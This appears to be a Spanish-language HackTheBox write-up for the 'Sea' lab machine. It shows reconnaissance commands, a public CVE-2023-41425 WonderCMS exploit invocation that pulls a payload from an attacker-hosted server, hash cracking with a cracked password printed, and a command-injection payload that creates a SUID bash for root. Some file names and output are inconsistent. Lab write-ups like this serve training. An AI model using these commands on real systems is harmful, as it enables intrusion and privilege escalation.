write up Sea HTB

La máquina “Sea” de la plataforma HackTheBox presenta una vulnerabilidad que permite obtener acceso remoto a través de un servicio web en funcionamiento. Tras realizar un fuzzing de directorios, descubrimos que el servidor utiliza WonderCMS. A partir de ahí, identificamos una vulnerabilidad de tipo Cross-Site Scripting (XSS), catalogada como CVE-2023-41425, que posibilita la ejecución remota de código. Esto nos otorga acceso inicial al sistema.

Una vez dentro, encontramos un hash que conseguimos crackear, obteniendo así la contraseña de uno de los usuarios del sistema. Con esta nueva credencial, logramos pivotar a ese usuario y descubrimos un sitio web interno que reutilizaba las mismas credenciales. Este servicio web resultó ser vulnerable a una inyección de comandos, y dado que se ejecutaba con privilegios de root, conseguimos tomar control total de la máquina víctima. ko primero como siempre los escaneos de nmap

nmap -p- --open --min-rate 5000 -n -Pn -vvv 10.10.11.28 -oG allports

nmap -sVC -p80,22 10.10.11.28 -oN ports

si hacemos un whatweb vemos lo siguiente

no vemos mucho por lo que vamos a la web ![](https://404zzero.github.io/zzero.github.io//assets/images/Sea/Pasted-image-20241227185328.png]]

si pinchamos en contact nos sale el dominio sea.htb por lo que lo añadimos al /etc/hosts y ya podemos acceder

![](https://404zzero.github.io/zzero.github.io//assets/images/Sea/Pasted-image-20241227185842.png]]

nada interesante por lo que voy a hacer fuzzing a ver si veo algo

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://sea.htb -t 55 -x php

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://sea.htb
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 199]
/0                    (Status: 200) [Size: 3650]
/themes               (Status: 301) [Size: 230] [--> http://sea.htb/themes/]
/index.php            (Status: 200) [Size: 3650]
/contact.php          (Status: 200) [Size: 2731]
/data                 (Status: 301) [Size: 228] [--> http://sea.htb/data/]
/home                 (Status: 200) [Size: 3650]
/plugins              (Status: 301) [Size: 231] [--> http://sea.htb/plugins/]
/messages             (Status: 301) [Size: 232] [--> http://sea.htb/messages/]
/404                  (Status: 200) [Size: 3341]
/%20                  (Status: 403) [Size: 199]
/%20.php              (Status: 403) [Size: 199]

vemos unos directorios

y voy a ir al grano hay que hacer mucho fuzzing para encontrar este directoryo http://sea.htb/themes/bike/summary

al cual si le accemos un curl ![](https://404zzero.github.io/zzero.github.io//assets/images/Sea/Pasted-image-20241227190306.png]]

nos da esta frase que si la ponemos en google lo primero que aparece este github https://github.com/WonderCMS/wondercms-cdn-files/blob/4da022ae96d07e2d766beb9e0d6a8ed9514e3ee5/wcms-modules.json#L338

En resumen, es un gestor de contenidos como lo puede ser Ghost, WordPress, entre otros.

Buscando por exploits para este software y su versión, encontramos la vulnerabilidad catalogada como CVE-2023-41425 la cual permite RCE y ademas encuentro este github que nos lo da todo

https://github.com/insomnia-jacob/CVE-2023-41425

primero ejecutamos esto:

python3 exploit.py -u http://sea.htb/loginURL -i 10.10.14.181 -p 8080 -r http://10.10.14.181:9000/main.zip

![[Pasted image 20241227191241.png]]

ponemos un servidor python en el puesrto 9000 en el mismo directorio

sudo python3 -m http.server 9000

nos ponemos en escucha con netcat y devemos hacer lo siguiente

![](https://404zzero.github.io/zzero.github.io//assets/images/Sea/Pasted-image-20241227191425.png]]

el enlace que nos a dado el exploit pegarlo en el apartado de website

y somos www-data Dado que somos el usuario www-data, deberíamos buscar por bases de datos en el sistema o archivos de configuración a los cuales este usuario tiene acceso. Eventualmente, encontramos un archivo database.js en la ruta /var/www/sea/data:

{
    "config": {
        "siteTitle": "Sea",
        "theme": "bike",
        "defaultPage": "home",
        "login": "loginURL",
        "forceLogout": false,
        "forceHttps": false,
        "saveChangesPopup": false,
        "password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
        "lastLogins": {
            "2024\/11\/16 03:55:42": "127.0.0.1",
            "2024\/11\/16 03:52:11": "127.0.0.1",
            "2024\/11\/16 03:49:41": "127.0.0.1",
            "2024\/11\/16 03:46:11": "127.0.0.1",
            "2024\/11\/16 02:53:03": "127.0.0.1"
        },

vemos un hash que podemos romper

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

![[Pasted image 20241227191817.png]]

si ahora grepeamos el etc/passwd

www-data@sea:/var/www/sea/data$ cat /etc/passwd | grep 'sh$'

root:x:0:0:root:/root:/bin/bash
amay:x:1000:1000:amay:/home/amay:/bin/bash
geo:x:1001:1001::/home/geo:/bin/bash

vemos un usuarioa llamado amay

de elcual es la contraseña

sshpass -p 'mychemicalromance' ssh -o stricthostkeychecking=no amay@10.10.11.28

![](https://404zzero.github.io/zzero.github.io//assets/images/Sea/Pasted-image-20241228174339.png]]

root

si intentamos acer un sudo -l vemos que no tenemos ni permisos ![](https://404zzero.github.io/zzero.github.io//assets/images/Sea/Pasted-image-20241228174919.png]]

podriamos ejecutar un linpheas pero como ya me se la mquina paso

si hacemos un ss -nltp vemos lo siguiente ![](https://404zzero.github.io/zzero.github.io//assets/images/Sea/Pasted-image-20241228175046.png]]

vemos dos puertos nuevos. el 8080 y el 44109 por lo que interesante

el unic que tiene algo es el 8080 por lo que nos lo vamos a pasar de la siguiente forma para tener visivilidad sobre el

sshpass -p 'mychemicalromance' ssh -o stricthostkeychecking=no -L 4444:127.0.0.1:8080 amay@10.10.11.28

perfecto ahora nuestro puerto 4444 es el 8080 de la mquina por lo que si vamos a http://127.0.0.1:4444 veremos lo siguiente

![](https://404zzero.github.io/zzero.github.io//assets/images/Sea/Pasted-image-20241228175835.png]]

si probamos con las credenciales que ya teniamos ![](https://404zzero.github.io/zzero.github.io//assets/images/Sea/Pasted-image-20241228180148.png]]

emos entrado

vemos un boton de analyze. si le damos ![](https://404zzero.github.io/zzero.github.io//assets/images/Sea/Pasted-image-20241228180232.png]]

vemos un barullo enorme

vale vamos a captura la peticion con burpsuite

![](https://404zzero.github.io/zzero.github.io//assets/images/Sea/Pasted-image-20241228180452.png]]

vemos como hce la peticion basicamente esta especificando un archivo en el sistema

si probamos a leer el etc/passwd de esta forma

![](https://404zzero.github.io/zzero.github.io//assets/images/Sea/Pasted-image-20241228180633.png]]

nos lo da a medias Intentando una inyección de comandos como /etc/passwd;id el archivo es ahora mostrado completamente (no parcialmente como era antes):

![](https://404zzero.github.io/zzero.github.io//assets/images/Sea/Pasted-image-20241228180737.png]]

vale tenemos ejecucion remota de archivos por lo que podriamos intentar hacer un archivo suid para escalar privileguios de esta forma

log_file=/etc/passwd%3bcp+/bin/bash+/tmp/zzero%3b+chmod+4755+/tmp/gunzf0x%3bid&analyze_log=

![](https://404zzero.github.io/zzero.github.io//assets/images/Sea/Pasted-image-20241228181134.png]]

si ahora vemos que hay en tmp

amay@sea:~$ ls -la /tmp

total 1212
drwxrwxrwt 14 root root    4096 Nov 16 06:36 .
drwxr-xr-x 19 root root    4096 Feb 21  2024 ..
drwxrwxrwt  2 root root    4096 Nov 16 02:19 .font-unix
-rwsr-xr-x  1 root root 1183448 Nov 16 06:36 gunzf0x
drwxrwxrwt  2 root root    4096 Nov 16 02:19 .ICE-unix
drwx------  2 root root    4096 Nov 16 02:19 snap-private-tmp
<SNIP>

Podemos ejecutarlo como el propietario (que será root) usando el binario junto con la flag -p:

amay@sea:~$ /tmp/gunzf0x -p

gunzf0x-5.0# whoami
rtoo